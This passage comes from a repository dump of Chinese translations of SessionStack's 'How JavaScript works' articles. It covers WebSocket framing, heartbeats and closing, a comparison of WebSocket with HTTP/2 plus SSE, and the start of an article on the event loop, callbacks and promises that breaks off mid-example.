帧里面的数据\n\n如上文所述，一段数据可以被分片为多个帧。传输数据的第一帧中通过一个 opcode 指出了需要被传输的数据是什么类型。这是非常必要的，因为当规范出台时，JavaScript 尚未对二进制数据提供支持。`0x01` 指出了数据是 utf-8 编码的文本数据，`0x02` 指出了数据是二进制数据。大多数人们会在传输 JSON 时选择文本 opcode。当你发送二进制数据时，数据会在浏览器中以一种特殊的 [Blob](https://developer.mozilla.org/en-US/docs/Web/API/Blob) 形式展现。\n\n 通过 WebSocket 发送数据的 API 非常简单：\n\n```javascript\nvar socket = new WebSocket('ws://websocket.example.com');\nsocket.onopen = function(event) {\n  socket.send('Some message'); // Sends data to server.\n};\n```\n\n当 WebSocket 开始接收数据（在客户端），一个 `message` 事件就会被触发。该事件包含了一个叫做 `data` 的属性可以被用来访问消息内容。\n\n```javascript\n// 处理服务器送来的数据。\nsocket.onmessage = function(event) {\n  var message = event.data;\n  console.log(message);\n};\n```\n\n通过 Chrome 开发者工具中的 Network Tab，你可以很容易地查看 WebSocket 连接中的每一帧数据。\n\n![](https://cdn-images-1.medium.com/max/800/1*Sz4wI2ukt91vRrgf8UonWw.png)\n\n#### 分片（Fragmentation）\n\npayload 可以被划分为多个独立的帧。接收端被认为能够缓存这些帧，直到某个帧的 `fin` 位被设置。所以你可以用 11 个包传输 “Hello World” 字符串，每个包大小为 6（头部长度）+ 1 字节。对于控制包（control package）来说，分片则是不被允许的。然而，你被要求能够处理[交错的](https://en.wikipedia.org/wiki/Interleaving_%28data%29)控制帧。这是为了应付 TCP 包是以任意序列到达的状况。\n\n合并各个帧的逻辑大致如下：\n\n*   收到第一帧\n*   记住 opcode\n*   连接各个帧的 payload 直到 `fin` 被设置\n*   断言每个包的 opcode 都是 0\n\n分片的主要目的在于当消息传输开始时，允许传输一个未知大小的消息。通过分片技术，服务器可以选择合理的大小的 buffer，并在 buffer 充满时，写入一个分片到网络中。分片技术的次要用例则是多路复用（multiplexing），让某个逻辑信道上的大消息占据整个输出信道是不可取的，因此多路复用需要能够支持将消息划分为若干小的分片，从而更好的共享输出信道。\n\n#### 什么是心跳机制？\n\n握手完成之后的任意时刻，客户端或者服务器都能够发送一个 ping 到对面。当 ping 被接收以后，接收方必须尽快回送一个 pong。这就是一次心跳，你可以通过这个机制来确保客户端仍处于连接状态。\n\n一个 ping 或者 pong 只是普通的一个帧，但它们是**控制帧（control frame）**。Ping 的 opcode 为 `0x9`，pong 则为 `0xA`。当你收到了一个 ping，你回送的 pong 需要和 ping 具有一样的 payload data（ping 和 pong 允许的最大 payload 长度为 **125**）。如果你收到了没有和一个 ping 结对的 pong 的话，直接忽略即可。\n\n心跳机制是非常有用的。例如负载均衡这样的一些服务可能会终止掉空闲连接，因此你需要利用心跳机制观测连接状况。另外，收信方是无法知道远端连接是否终止。只有下一次发送消息时才能知道远端是否被终止。\n\n#### 错误处理\n\n你能够通过监听 `event` 事件处理任何发生的错误。\n\n就像下面这样：\n\n```javascript\nvar socket = new WebSocket('ws://websocket.example.com');\n\n// 处理任何发生的错误。\nsocket.onerror = function(error) {\n  console.log('WebSocket Error: ' + error);\n};\n```\n\n#### 关闭连接\n\n为了关闭连接，客户端或服务端都可以发送一个 opcode 为 `0x8` 的控制帧来关闭连接。一旦收到这样一帧，另一端就需要发送一个关闭帧作为回应。接着发送端便会关闭连接。关闭连接后收到的任何数据都会被丢弃。\n\n下面的代码展示了如何从客户端初始化 WebSocket 连接的关闭：\n\n```javascript\n// 如果连接是打开的，则关闭\nif (socket.readyState === WebSocket.OPEN) {\n    socket.close();\n}\n```\n\n通过监听 `close ` 事件，你可以在在连接关闭后进行一些“善后”工作：\n\n```javascript\n// 做一些必要的清理\nsocket.onclose = function(event) {\n  console.log('Disconnected from WebSocket.');\n};\n```\n\n服务器也必须监听 `close` 事件，做一些它需要的处理工作：\n\n```javascript\nconnection.on('close', function(reasonCode, description) {\n    // 连接关闭了\n});\n```\n\n#### WebSockets 和 HTTP/2 的对比\n\n即便 HTTP/2 有很多优点，但其也无法完全替代现有的 push/streaming 技术。\n\n对 HTTP/2 的首要认识是知道它不是 HTTP 的完全替代。HTTP verb、状态码以及大多数头部内容都仍然保持了一致。HTTP/2 着眼于提高数据的传输效率。\n\n现在，如果我们对比 HTTP/2 和 WebSocket，会发现二者许多相似之处：\n\n|                       | HTTP/2                      | WebSocket |\n| --------------------- | --------------------------- | --------- |\n| 头部（Headers）           | 压缩（HPACK）                   | 不压缩       |\n| 二进制数据（Binary）         | Yes                         | 二进制或文本数据  |\n| 多路复用（Multiplexing）    | Yes                         | Yes       |\n| 优先级技术（Prioritization） | Yes                         | Yes       |\n| 压缩（Compression）       | Yes                         | Yes       |\n| 方向（Direction）         | Client/Server + Server Push | 双向的       |\n| 全双工（Full-deplex）      | Yes                         | Yes       |\n\n正如我们之前提到的，HTTP/2 引入了 [Server Push](https://en.wikipedia.org/wiki/Push_technology?oldformat=true) 来允许服务器主动地发送资源到客户端缓存中。但是，并不允许直接发送数据到客户端应用程序中。服务器推送的内容只能被浏览器处理，而不是客户端应用程序代码，这意味着应用中没有 API 能够感知到推送。\n\n这也让 Server-Sent Events（SSE）变得很有用。当客户端和服务器的连接建立后，SSE 这个机制能够让服务器异步地推送数据到客户端。之后，服务器随时都可以在准备好后发送数据。这可以被看作是单向的 [发布-订阅](https://en.wikipedia.org/wiki/Publish%E2%80%93subscribe_pattern) 模型。SSE 还提供了一个叫做 EventSource 的标准 JavaScript 客户端 API，这个 API 已经被大多数现代浏览器作为 [W3C](https://www.w3.org/TR/eventsource/) 所制定的HTML5 标准的一部分所实现了。对于那些不支持 [EventSource API](http://caniuse.com/#feat=eventsource) 的浏览器来说，这些 API 也能被轻易地 polyfill。\n\n由于 SSE 是基于 HTTP 的，所以它天然亲和 HTTP/2，因此可以组合二者，以吸取各自精华：HTTP/2 通过多路复用流来提高传输层的效率，SSE 则为客户端应用程序提供了接收推送的 API。\n\n为了完整地解释流和多路复用是什么，让我们先看看 IETF 对此的定义：\n\n“流（stream）” 是一个独立的、双向的帧序列，这些帧在处于 HTTP/2 连接中的客户端和服务器之间交换。其主要特征是一个单个 HTTP/2 连接可以包含多个同时打开的流，任意一端都可以交错地使用这些流中的帧。\n\n![](https://cdn-images-1.medium.com/max/800/1*pSh7IORJoUXbwCjyJ7fM9A.png)\n\n要记住 SSE 是基于 HTTP 的。这意味着通过使用 HTTP/2，不仅能够将 SSE 流交错地送入到一个 TCP 连接中去，也能完成 SSE 流（服务器向客户端推送）的合并的和客户端请求（客户端到服务器）的合并。得益于 HTTP/2 和 SSE，我们现在得到了一个具有简洁 API 的 HTTP 双向连接，这让应用代码能监听到服务器推送。曾几何时，双向通信能力的缺失成为了 SSE 相对于 WebSocket 的主要缺陷。但 HTTP/2 让这不再成为问题。这使得开发者能够回归到基于 HTTP 的通信方式，而不再使用 WebSocket。\n\n#### 如何在 WebSocket 和 HTTP/2 中作出选择？\n\n在 HTTP/2 + SSE 的大浪潮中，WebSocket 仍将保有一席之地，因为它已经被广泛使用，在一些非常特殊的使用场景下，相较于 HTTP/2，其优势在于能够以更少的开销（如头部信息）来构建应用的双向通信能力。\n\n倘若你想要构建一个端到端之间需要传输大量消息的大型多人在线游戏，WebSocket 将非常非常适合。\n\n一般而言，当你需要真正的**低延迟**，希望客户端和服务器能有接近实时的连接，就使用 WebSocket。这就可能需要你重新审视和构建你的服务端应用，并聚焦到事件队列这样的技术上。\n\n如果你的使用场景是展示实时市场新闻、市场数据、或是聊天应用等等，那么 HTTP/2 + SSE 能让你继续受益于 HTTP 世界时，还能享受到高效的双向通信通道：\n\n* WebSocket 在处理浏览器兼容性时让人头痛，因为其将 HTTP 连接更新到了一个完全不同协议，因此无法再用 HTTP 做任何事。\n* 扩展性和安全性：Web 组件（防火墙、入侵检测、负载均衡）是基于 HTTP 来构建、维护和配置的，考虑到弹性伸缩、安全性和可扩展，那些大型/重要的应用会选择使用 HTTP。\n\n接下来，你可以看下几种技术的浏览器支持状况。首先看到 WebSocket：\n\n![](https://cdn-images-1.medium.com/max/800/1*YFr59cEF2qxzjjleebvbcQ.png)\n\nWebSocket 兼容性问题现在好多了，是吧？\n\nHTTP/2 则有些尴尬：\n\n![](https://cdn-images-1.medium.com/max/800/1*C1VWSKOx89vqdiSiflDRJw.png)\n\n*   TLS-only （这倒不算坏）\n*   只有在 Windows 10 系统下才对 IE 11 部分支持\n*   Safari 支持则需要系统是 OSX 10.11+\n*   只有在你可以通过 ALPN（你的服务器需要支持的扩展）进行协商时，才能支持 HTTP/2\n\nSSE 的支持则更好一些：\n\n![](https://cdn-images-1.medium.com/max/800/1*9ryMUEZhtbTg7lECHVz0fw.png)\n\n只有 IE/Edge 没有提供支持（Opera Mini 既不支持 SSE，也不支持 WebSocket，我们把它排除在外）。但在 IE/Edge 中，有一些正式的 polyfill 能够帮助支持 SSE。\n\n#### 在 SessionStack 中，我们是如何作出决策的\n\n我们在  [SessionStack](https://www.sessionstack.com/?utm_source=medium&utm_medium=blog&utm_content=Post-5-websockets-outro) 中按需使用了 WebSocket 和 HTTP。一旦你将 SessionStack 集成到你的应用中，它就开始记录所有的 DOM 改变、用户交互、JavaScript 异常、堆栈跟踪、失败的网络请求以及 debug 信息，允许你通过视频来复现问题，从而了解到用户到底做了什么。SessionStack 是完全**实时的**并且不会对你的应用造成任何的性能影响。\n\n这意味着，当用户在使用浏览器时，你可以实时地观察用户的行为。在这个场景下，由于不需要双向通信（只是服务器将数据流发送到浏览器），所以我们选择了 HTTP。WebSocket 在这个场景下则显得大材小用了，难于维护和扩展。\n\n然而集成到你应用中的 SessionStack 库却是使用的 WebSocket（如果支持的话，否则会退回到 HTTP）。其批量发送数数据到我们服务器，这也是一个单向通信。这个场景下，我们仍选择 WebSocket 是因为其为产品蓝图中的一些需要双向通信的特性提供了支持。\n\n尝试使用 SessionStack  来了解和重现你 web 应用中存在的技术或者体验问题，我们为你提供了一个免费计划让你 [快速开始](https://www.sessionstack.com/?utm_source=medium&utm_medium=blog&utm_content=Post-5-websockets-getStarted)。\n\n![](https://cdn-images-1.medium.com/max/800/1*kEQmoMuNBDfZKNSBh0tvRA.png)\n\n#### 参考资料\n\n* [http://lucumr.pocoo.org/2012/9/24/websockets-101/](http://lucumr.pocoo.org/2012/9/24/websockets-101/)\n* [http://blog.teamtreehouse.com/an-introduction-to-websockets](http://blog.teamtreehouse.com/an-introduction-to-websockets)\n* [https://www.infoq.com/articles/websocket-and-http2-coexist](https://www.infoq.com/articles/websocket-and-http2-coexist)\n* [https://tools.ietf.org/html/rfc6455](https://tools.ietf.org/html/rfc6455)\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO/how-javascript-works-event-loop-and-the-rise-of-async-programming-5-ways-to-better-coding-with.md",
    "content": "> * 原文地址：[How JavaScript works: Event loop and the rise of Async programming + 5 ways to better coding with async/await](https://blog.sessionstack.com/how-javascript-works-event-loop-and-the-rise-of-async-programming-5-ways-to-better-coding-with-2f077c4438b5)\n> * 原文作者：[Alexander Zlatkov](https://blog.sessionstack.com/@zlatkov?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/how-javascript-works-event-loop-and-the-rise-of-async-programming-5-ways-to-better-coding-with.md](https://github.com/xitu/gold-miner/blob/master/TODO/how-javascript-works-event-loop-and-the-rise-of-async-programming-5-ways-to-better-coding-with.md)\n> * 译者：[春雪](https://github.com/balancelove)\n> * 校对者：[athena0304](https://github.com/athena0304) [tvChan](https://github.com/tvchan)\n\n# JavaScript 是如何工作的: 事件循环和异步编程的崛起 + 5个如何更好的使用 async/await 编码的技巧\n\n欢迎来到旨在探索 JavaScript 以及它的核心元素的系列文章的第四篇。在认识、描述这些核心元素的过程中，我们也会分享一些当我们构建 [SessionStack](https://www.sessionstack.com/?utm_source=medium&utm_medium=blog&utm_content=Post-4-eventloop-intro) 的时候遵守的一些经验规则，一个 JavaScript 应用应该保持健壮和高性能来维持竞争力。\n\n如果你错过了前三章可以在这儿找到它们:\n\n1.  [对引擎、运行时和调用栈的概述](https://blog.sessionstack.com/how-does-javascript-actually-work-part-1-b0bacc073cf?source=collection_home---2------1----------------)\n2.  [深入 V8 引擎以及 5 个写出更优代码的技巧](https://blog.sessionstack.com/how-javascript-works-inside-the-v8-engine-5-tips-on-how-to-write-optimized-code-ac089e62b12e?source=collection_home---2------2----------------)\n3.  [内存管理以及四种常见的内存泄漏的解决方法](https://blog.sessionstack.com/how-javascript-works-memory-management-how-to-handle-4-common-memory-leaks-3f28b94cfbec?source=collection_home---2------0----------------)\n\n这次我们将展开第一篇文章的内容，回顾一下在单线程环境中编程的缺点，以及如何克服它们来构建出色的 JavaScript UI。按照惯例，在文章的末尾我们将分享 5 个如何使用 async/await 写出更简洁的代码的技巧。\n\n#### **为什么单线程会限制我们？**\n\n在 [第一篇文章](https://blog.sessionstack.com/how-does-javascript-actually-work-part-1-b0bacc073cf) 中, 我们思考了一个问题 _当调用栈中的函数调用需要花费我们非常多的时间，会发生什么？_\n\n比如，想象一下你的浏览器现在正在运行一个复杂的图像转换的算法。\n\n当调用栈有函数在执行，浏览器就不能做任何事了 —— 它被阻塞了。这意味着浏览器不能渲染页面，不能运行任何其它的代码，它就这样被卡住了。那么问题来了 —— 你的应用不再高效和令人满意了。\n\n你的应用**卡住了**。\n\n在某些情况下，这可能不是一个很严重的问题。但这其实是一个更大的问题。一旦你的浏览器开始在调用栈运行很多很多的任务，它就很有可能会长时间得不到响应。在这一点上，大多数的浏览器会采取抛出错误的解决方案，询问你是否要终止这个页面：\n\n它很丑，并且它会毁了你的用户体验：\n\n![](https://cdn-images-1.medium.com/max/800/1*MCt4ZC0dMVhJsgo1u6lpYw.jpeg)\n\n#### **JavaScript 程序的单元块**\n\n你可能会将你的 JavaScript 代码写在一个 .js 文件中，但你的程序一定是由几个代码块组成的，而且只有一个能够 __现在__ 执行，其余的都会在 __之后__ 执行。最常见的单元块就是函数。\n\nJavaScript 开发的新手最不能理解的就是 __之后__ 的代码并不一定会在 __现在__ 的代码执行之后执行。换句话说，在定义中不能 __现在__ 立刻完成的任务将会异步执行，这意味着可能不会像你认为的那样发生上面所说的阻塞问题。\n\n让我们来看看下面的例子：\n\n```js\n// ajax(..) 是任意库提供的任意一个 Ajax 的函数\nvar response = ajax('https://example.com/api');\n\nconsole.log(response);\n// `response` 不会是响应的 response，因为 Ajax 是异步的\n```\n\n你可能已经意识到了，标准的 Ajax 请求不会同步发生，这意味着在代码执行的时候，ajax(..) 函数在没有任何返回值之前，是不会赋值给 response 变量的。\n\n有一个简单的办法去 “等待” 异步函数返回它的结果，就是使用 **回调函数**：\n\n```js\najax('https://example.com/api', function(response) {\n    console.log(response); // `response` 现在是有值的\n});\n```\n\n注意：虽然实际上是可以 **同步** 实现 Ajax 请求的，但是最好永远都不要这么做。如果你使用了同步的 Ajax 请求，你的 JavaScript 应用就会被阻塞 —— 用户就不能点击、输入数据、导航或是滚动。这将会阻止用户的任何交互动作。这是一种非常糟糕的做法。\n\n这就是使用同步的样子，但是千万不要这么做，不要毁了你的 web 应用：\n\n```js\n// 假设你正在使用 jQuery\njQuery.ajax({\n    url: 'https://api.example.com/endpoint',\n    success: function(response) {\n        // 这是你的回调\n    },\n    async: false // 这是一个坏主意\n});\n```\n\n我们使用 Ajax 请求只是一个例子。事实上你可以异步执行任何代码。\n\n`setTimeout(callback, milliseconds)` 也能够异步执行。`setTimeout` 函数所做的就是设置了一个事件（超时）等待触发执行。我们来看一看：\n\n```js\nfunction first() {\n    console.log('first');\n}\nfunction second() {\n    console.log('second');\n}\nfunction third() {\n    console.log('third');\n}\nfirst();\nsetTimeout(second, 1000); // 1000ms 后调用 `second`\nthird();\n```\n\nconsole 打印出来将会是下面这样的：\n\n```js\nfirst\nthird\nsecond\n```\n\n#### **解析事件循环**\n\n我们先从一个奇怪的说法谈起 —— 尽管 JavaScript 允许异步的代码(就像是我们刚刚说的 `setTimeout`) ，但直到 ES6，JavaScript 自身从未有过任何关于异步的直接概念。JavaScript 引擎只会在任意时刻执行一个程序。\n\n关于 JavaScript 引擎是如何工作的更多细节(特别是 V8 引擎)请看我们的[前一章](https://blog.sessionstack.com/how-javascript-works-inside-the-v8-engine-5-tips-on-how-to-write-optimized-code-ac089e62b12e)。\n\n那么，谁会告诉 JS 引擎去执行你的程序？事实上，JS 引擎不是单独运行的 —— 它运行在一个宿主环境中，对于大多数开发者来说就是典型的浏览器和 Node.js。实际上，如今，JavaScript 被应用到了从机器人到灯泡的各种设备上。每个设备都代表了一种不同类型的 JS 引擎的宿主环境。\n\n所有的环境都有一个共同点，就是都拥有一个 **事件循环** 的内置机制，它随着时间的推移每次都去调用 JS 引擎去处理程序中多个块的执行。\n\n这意味着 JS 引擎只是任意的 JS 代码按需执行的环境。是它周围的环境来调度这些事件(JS 代码执行)。\n\n所以，比如当你的 JavaScript 程序发出了一个 Ajax 请求去服务器获取数据，你在一个函数(回调)中写了 “response” 代码，然后 JS 引擎就会告诉宿主环境：\n“嘿，我现在要暂停执行了，但是当你完成了这个网络请求，并且获取到数据的时候，请回来调用这个函数。”\n\n然后浏览器设置对网络响应的监听，当它有东西返回给你的时候，它将会把回调函数插入到事件循环队列里然后执行。\n\n我们来看下面的图：\n\n![](https://cdn-images-1.medium.com/max/800/1*FA9NGxNB6-v1oI2qGEtlRQ.png)\n\n你可以在[前一章](https://blog.sessionstack.com/how-does-javascript-actually-work-part-1-b0bacc073cf)了解到更多关于内存堆和调用栈的知识。\n\n那图中的这些 Web API 是什么东西呢？从本质上讲，它们是你无法访问的线程，但是你能够调用它们。它们是浏览器并行启动的一部分。如果你是一个 Node.js 的开发者，这些就是 C++ 的一些 API。\n\n那 __事件循环__ 究竟是什么？\n\n![](https://cdn-images-1.medium.com/max/800/1*KGBiAxjeD9JT2j6KDo0zUg.png)\n\n事件循环有一个简单的任务 —— 去监控调用栈和回调队列。如果调用栈是空的，它就会取出队列中的第一个事件，然后将它压入到调用栈中，然后运行它。\n\n这样的迭代在事件循环中被称作一个 **tick**。每一个事件就是一个回调函数。\n\n```js\nconsole.log('Hi');\nsetTimeout(function cb1() { \n    console.log('cb1');\n}, 5000);\nconsole.log('Bye');\n```\n\n让我们**执行**一下这段代码，看看会发生什么：\n\n1.  状态是干净的。浏览器 console 是干净的，并且调用栈是空的。\n\n![](https://cdn-images-1.medium.com/max/800/1*9fbOuFXJHwhqa6ToCc_v2A.png)\n\n2. `console.log('Hi')` 被添加到了调用栈里。\n\n![](https://cdn-images-1.medium.com/max/800/1*dvrghQCVQIZOfNC27Jrtlw.png)\n\n3. `console.log('Hi')` 被执行。\n\n![](https://cdn-images-1.medium.com/max/800/1*yn9Y4PXNP8XTz6mtCAzDZQ.png)\n\n4. `console.log('Hi')` 被移出调用栈。\n\n![](https://cdn-images-1.medium.com/max/800/1*iBedryNbqtixYTKviPC1tA.png)\n\n5. `setTimeout(function cb1() { ... })` 被添加到调用栈。\n\n![](https://cdn-images-1.medium.com/max/800/1*HIn-BxIP38X6mF_65snMKg.png)\n\n6. `setTimeout(function cb1() { ... })` 执行。浏览器创建了一个定时器(Web API 的一部分)，并且开始倒计时。\n\n![](https://cdn-images-1.medium.com/max/800/1*vd3X2O_qRfqaEpW4AfZM4w.png)\n\n7. `setTimeout(function cb1() { ... })` 本身执行完了，然后被移出调用栈。\n\n![](https://cdn-images-1.medium.com/max/800/1*_nYLhoZPKD_HPhpJtQeErA.png)\n\n8. `console.log('Bye')` 被添加到调用栈。\n\n![](https://cdn-images-1.medium.com/max/800/1*1NAeDnEv6DWFewX_C-L8mg.png)\n\n9. `console.log('Bye')` 执行。\n\n![](https://cdn-images-1.medium.com/max/800/1*UwtM7DmK1BmlBOUUYEopGQ.png)\n\n10. `console.log('Bye')` 被移出调用栈。\n\n![](https://cdn-images-1.medium.com/max/800/1*-vHNuJsJVXvqq5dLHPt7cQ.png)\n\n11. 在至少 5000ms 过后，定时器完成，然后将回调 `cb1` 压入到回调队列。\n\n![](https://cdn-images-1.medium.com/max/800/1*eOj6NVwGI2N78onh6CuCbA.png)\n\n12. 事件循环从回调队列取走 `cb1`，然后把它压入调用栈。\n\n![](https://cdn-images-1.medium.com/max/800/1*jQMQ9BEKPycs2wFC233aNg.png)\n\n13. `cb1` 被执行，然后把 `console.log('cb1')` 压入调用栈。\n\n![](https://cdn-images-1.medium.com/max/800/1*hpyVeL1zsaeHaqS7mU4Qfw.png)\n\n14. `console.log('cb1')` 被执行。\n\n![](https://cdn-images-1.medium.com/max/800/1*lvOtCg75ObmUTOxIS6anEQ.png)\n\n15. `console.log('cb1')` 被移出调用栈。\n\n![](https://cdn-images-1.medium.com/max/800/1*Jyyot22aRkKMF3LN1bgE-w.png)\n\n16. `cb1` 被移出调用栈。\n\n![](https://cdn-images-1.medium.com/max/800/1*t2Btfb_tBbBxTvyVgKX0Qg.png)\n\n快速回顾一下：\n\n![](https://cdn-images-1.medium.com/max/800/1*TozSrkk92l8ho6d8JxqF_w.gif)\n\n有趣的是，ES6 指定了事件循环该如何工作，这意味着在技术上它属于 JS 引擎的职责范围了，不再是宿主环境的一部分了。造成这种变化的一个主要原因是在 ES6 中引入了 promise，因为后者需要对事件循环队列的调度操作进行直接的、细微的控制(后面我们会详细的讨论它们)。\n\n#### setTimeout(…) 是如何工作的\n\n需要重点注意的是 `setTimeout(…)` 不会自动的把你的回调放到事件循环队列中。它设置了一个定时器。当定时器过期了，宿主环境会将你的回调放到事件循环队列中，以便在以后的循环中取走执行它。看看下面的代码：\n\n```\nsetTimeout(myCallback, 1000);\n```\n\n这并不意味着 `myCallback` 将会在 1,000ms 之后执行，而是，在 1,000ms 之后将被添加到事件队列。然而，这个队列中可能会拥有一些早一点添加进来的事件 —— 你的回调将会等待被执行。\n\n有很多文章或教程在介绍异步代码的时候都会从 setTimeout(callback, 0) 开始。好了，现在你知道了事件循环做了什么以及 setTimeout 是怎么运行的：以第二个参数是 0 的方式调用 setTimeout 就是推迟到调用栈为空才执行回调。\n\n来看看下面的代码：\n\n```js\nconsole.log('Hi');\nsetTimeout(function() {\n    console.log('callback');\n}, 0);\nconsole.log('Bye');\n```\n\n尽管等待的事件设置成 0 了，但是浏览器 console 的结果将会是下面这样：\n\n```js\nHi\nBye\ncallback\n```\n\n#### ES6 中的作业(Jobs)是什么？\n\nES6 中介绍了一种叫 “作业队列（Job Queue）” 的新概念。它是事件循环队列之上的一层。你很有可能会在处理 Promises 的异步的时候遇到它(我们后面也会讨论到它们)。\n\n我们现在只简单介绍一下这个概念，以便当我们讨论 Promises 的异步行为的时候，你能理解这些行为是如何被调度和处理的。\n\n想象一下：作业队列是一个跟在事件队列的每个 **tick** 的末尾的一个队列。在事件循环队列的一个 **tick** 期间可能会发生某些异步操作，这不会导致把一整个新事件添加到事件循环队列中，而是会在当前 **tick** 的作业队列的末尾添加一项(也就是作业)。\n\n这意味着你可以添加一个稍后执行的功能，并且你可以放心，它会在执行任何其他操作之前执行。\n\n作业还能够使更多的作业被添加到同一个队列的末尾。从理论上说，一个作业的“循环”（一个不停的添加其他作业的作业，等等）可能会无限循环，从而使进入下一个事件循环 **tick** 的程序的必要资源被消耗殆尽。从概念上讲，这就和你写了一个长时间运行的代码或是死循环(就像是 `while (true)`)一样。\n\n作业有点像 `setTimeout(callback, 0)` 的“hack”，但是它们引入了一个更加明确、更有保证的执行顺序：稍后执行，但是会尽快执行。\n\n#### **回调**\n\n众所周知，在 JavaScript 程序中，回调是表达和管理异步目前最常用的方式。确实，回调是 JavaScript 中最基础的异步模式。无数的 JS 程序，甚至是非常复杂的 JS 程序，都是使用回调作为异步的基础。\n\n回调也不是没有缺点。许多开发者都尝试去找到更好的异步模式。但是，如果你不理解底层的实际情况，你是不可能有效的去使用任何抽象化的东西。\n\n在下一章中，我们将深入挖掘这些抽象的概念来说明为什么更复杂的异步模式（将会在后续的帖子中讨论）是必须的甚至是被推荐的。\n\n#### 嵌套回调\n\n看看下面的代码：\n\n```js\nlisten('click', function (e){\n    setTimeout(function(){\n        ajax('https://api.example.com/endpoint', function (text){\n            if (text == \"hello\") {\n\t        doSomething();\n\t    }\n\t    else if (text == \"world\") {\n\t        doSomethingElse();\n            }\n        });\n    }, 500);\n});\n```\n\n我们有一个三个函数嵌套在一起的函数链，每一步都代表异步序列中的一步。\n\n这种代码我们把它叫做“回调地狱”。但是“回调地狱”显然和嵌套/缩进没有关系。这是个更深层次的问题了。\n\n首先，我们在等待一个“click”事件，然后等待定时器触发，再然后等着 Ajax 的响应返回，在这点上可能会再次重复。\n\n乍一看，这个代码似乎可以分解成连续的几个步骤：\n\n```js\nlisten('click', function (e) {\n\t// ..\n});\n```\n\n然后：\n\n```js\n\nsetTimeout(function(){\n    // ..\n}, 500);\n```\n\n再然后：\n\n```js\najax('https://api.example.com/endpoint', function (text){\n    // ..\n});\n```\n\n最后：\n\n```js\nif (text == \"hello\") {\n    doSomething();\n}\nelse if (text == \"world\") {\n    doSomethingElse();\n}\n```\n\n所以，用这样一种顺序的方式来表达你的异步代码是不是看起来更自然一些了？一定会有方法做到这一点，不是吗？\n\n#### Promises\n\n看看下面的代码：\n\n```js\nvar x = 1;\nvar y = 2;\nconsole.log(x + y);\n```\n\n这是段简单的代码：它对 `x` 和 `y` 求和，然后在控制台打印出来。但，假如 `x` 或是 `y` 的值是待确定的呢？比如说，我们需要在使用这两个值之前去服务器检索 `x` 和 `y` 的值。然后，有两个函数 `loadX` 和 `loadY`，分别从服务器获取 `x` 和 `y` 的值。最后，函数 `sum` 来将获取到的 `x` 和 `y` 的值加起来。\n\n看起来就是这样的(相当丑，不是吗？):\n\n```js\nfunction sum(getX, getY, callback) {\n    var x, y;\n    getX(function(result) {\n        x = result;\n        if (y !== undefined) {\n            callback(x + y);\n        }\n    });\n    getY(function(result) {\n        y = result;\n        if (x !== undefined) {\n            callback(x + y);\n        }\n    });\n}\n// 一个同步或者异步的函数，获取 `x` 的值\nfunction fetchX() {\n    // ..\n}\n\n\n// 一个同步或者异步的函数，获取 `y` 的值\nfunction fetchY() {\n    // ..\n}\nsum(fetchX, fetchY, function(result) {\n    console.log(result);\n});\n```\n\n这里面的关键点在于 — 这段代码中，`x` 和 `y` 是 **未来** 的值，然后我们还写了一个 `sum(…)` 函数，并且从外面看它并不关心 `x` 或者 `y` 现在是不是可用的。\n\n当然，这种基于回调的方式是粗糙的并且有很多不足。这只是初步理解 __未来值__ 以及不需要去担心它们什么时候可用的第一步。\n\n#### Promise 值\n\n让我们看一下这个简短的例子是如何用 Promises 来表达 `x + y` 的：\n\n```js\nfunction sum(xPromise, yPromise) {\n\t// `Promise.all([ .. ])` 接受一个 promises 的数组，\n\t// 并且返回一个新的 promise 对象去等待它们\n\t// 全部完成\n\treturn Promise.all([xPromise, yPromise])\n\n\t// 当 promise 完成的时候，我们就能获取\n\t// `X` and `Y` 的值，并且计算他们\n\t.then(function(values){\n\t\t// `values` 是一个来自前面完成的 promise\n\t\t// 的消息数组\n\t\treturn values[0] + values[1];\n\t} );\n}\n\n// `fetchX()` and `fetchY()` 返回 promises 的值，有他们各自的\n// 值，或许*现在* 已经准备好了\n// 也可能要 *等一会儿*。\nsum(fetchX(), fetchY())\n\n// 我们从返回的 promise 得到了这\n// 两个数字的和。\n// 现在我们连续的调用了 `then(...)` 去等待已经完成的\n// promise。\n.then(function(sum){\n    console.log(sum);\n});\n```\n\n这段代码可以看到两层 Promises。\n\n`fetchX()` 和 `fetchY()` 被直接调用，然后他们的返回值(promises!)被传给 `sum(...)`。这些 promises 代表的值可能在 _现在_ 或是 _将来_ 准备好，但每个 promise 的自身规范都是相同的。我们以一种与时间无关的方式来解释 `x` 和 `y` 的值。它们在一段时间内是 _未来值_。\n\n第二层 promise 是 `sum(...)` 创建 (通过 `Promise.all([ ... ])`) 并返回的，我们通过调用 `then(...)` 来等待返回。当 `sum(...)` 操作完成的时候，_未来值_ 的总和也就准备就绪了，然后就可以把值打印出来了。我们隐藏了在 `sum(...)` 函数内部等待 `x` 和 `y` 的 _未来值_ 的逻辑。\n\n**注意**：在 `sum(…)` 函数中，`Promise.all([ … ])` 创建了一个 promise (这个 promise 等待 `promiseX` and `promiseY` 的完成)。链式调用 `.then(...)` 来创建另一个 promise，返回的 `values[0] + values[1]` 会立即执行完成(还要加上加运算的结果)。因此，我们在 `sum(...)` 调用结束后加上的 `then(...)` — 在上面代码的末尾 — 实际上是在第二个 promise 返回后执行，而不是第一个 `Promise.all([ ... ])` 创建的 promise。还有，尽管我们没有在第二个 `then(...)` 后面再进行链式调用，但是它也创建了一个 promise，我们可以去观察或是使用它。关于 Promise 的链式调用会在后面详细地解释。\n\n使用 Promises，这个 `then(...)` 的调用其实有两个方法，第一个方法被调用的时机是在已完成的时候 (就像我们前面使用的那样)，而另一个被调用的时机是已失败的时候：\n\n```js\nsum(fetchX(), fetchY())\n.then(\n    // 完成时\n    function(sum) {\n        console.log( sum );\n    },\n    // 